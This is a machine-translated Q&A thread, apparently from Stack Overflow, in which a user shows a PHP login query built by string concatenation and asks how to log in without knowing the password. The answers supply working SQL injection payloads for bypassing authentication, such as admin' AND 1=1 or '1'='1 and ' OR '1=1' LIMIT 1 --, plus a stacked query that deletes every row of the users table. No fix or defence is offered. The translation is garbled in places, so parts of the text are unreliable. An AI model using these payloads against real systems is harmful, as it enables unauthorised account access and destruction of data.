$sql_checkpasswd = "SELECT user_id, username, user_password, user_active
FROM " . USERS_TABLE . "
WHERE username = '" . $username . "'" . " AND user_password = '" . md5($password). "'";
以上是我的PHP代码的编写方式。这是一个登录页面。
如何在不知道密码的情况下使用sql注入技术登录?
由于
我尝试了所有可能的组合 ' OR' 1 = 1'
' OR' 1 = 1' -
管理员&#39);#
和所有平常的一切。
其中一个查询出错:http://prntscr.com/53bmv8
P.s。:我花了很多时间研究这个问题并尝试了很多不同的方法,这就是我发布这个问题以获得一些帮助的原因。我是sql注入的新手。
答案 0 :(得分:2)
我终于弄明白了,可能会帮助其他人有同样的问题:
在用户名字段中输入:
admin' AND 1=1 or '1'='1
以上用户名工作正常,我不必输入密码,因为查询变为
,可以将其留空$username= admin' AND 1=1 OR '1'='1 AND $password = anything
即使在上述查询中满足一个条件,我也会获得访问权限,用户名部分为True
,因为1=1
AND admin是现有用户名
答案 1 :(得分:0)
尝试以下输入:
' OR '1=1' LIMIT 1 --
包括--
之后的空格,由于某种原因,这里没有出现。
答案 2 :(得分:0)
我复制一些希望你自己的例子
Java Original :“SELECT * FROM users_table WHERE username =”+“'”+ username +“'”+“AND password =”+“'”+ password +“'”; < / p>
•插入密码:Aa'OR''='
• Java结果:“SELECT * FROM users_table WHERE username ='anyname'AND password ='Aa'OR''='';
•插入密码:foo'; DELETE FROM users_table WHERE username LIKE'%
• Java结果:“SELECT * FROM users_table WHERE username ='anyname'AND password ='foo'; DELETE FROM users_table WHERE username LIKE'%'